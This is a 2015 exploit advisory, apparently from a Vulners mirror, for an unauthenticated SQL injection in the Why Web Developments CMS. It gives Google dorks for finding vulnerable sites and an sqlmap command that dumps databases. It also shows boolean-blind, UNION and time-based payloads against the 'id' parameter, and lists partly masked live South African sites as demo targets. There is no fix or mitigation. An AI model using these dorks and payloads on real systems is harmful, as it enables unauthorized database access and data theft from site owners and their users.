`=========================================================
[+] Title :- Why Web Developments CMS - SQL Injection Vulnerability
[+] Date :- 19 - June - 2015
[+] Vendor Homepage: :- http://www.whyweb.co.za/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Why Web Developments" inurl:"php?id="
"Developed by Why Web Developments"
"Developed by Why Web Developments" +inurl:/.php?id=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, [email protected], [email protected]
_________.__ ________ ___________ _____ _______________
/ _____/| |__ \_____ \______\__ ___/__.__. / | |\_____ \ _ \
\_____ \ | | \ / | \_ __ \| | < | |/ | |_/ ____/ /_\ \
/ \| Y \/ | \ | \/| | \___ / ^ / \ \_/ \
/_______ /|___| /\_______ /__| |____| / ____\____ |\_______ \_____ /
\/ \/ \/ \/ |__| \/ \/
=========================================================
[+] Severity Level :- High
[+] Request Method(s) :- GET / POST
[+] Vulnerable Parameter(s) :- id
[+] Affected Area(s) :- Entire admin, database, Server
[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error
[+] SQL vulnerable File :- home/DOMAIN/public_html/page.php
[+] POC :- http://127.0.0.1/page.php?id=[SQL]'
The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.
PoC:-
SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/page.php?id=[SQL]" --dbs
++++++++++++++++++++++++++
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11 AND 1832=1832
Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: id=11 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71696f7171,0x58657746617375644251,0x7173656671),NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=11 AND SLEEP(5)
---
[+] DEMO :- http://www.XXXXnershair.co.za/aboutus.php?id=2%27
http://www.XXXXpe.co.za/hom001.php?id=8%27
http://www.XXXXizon.co.za/hom001.php?id=3%27
http://www.XXXXnecrewsa.com/news.php?ID=31%27
http://www.XXXXfafricatours.co.za/tour.php?id=11%27
=======================================================
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation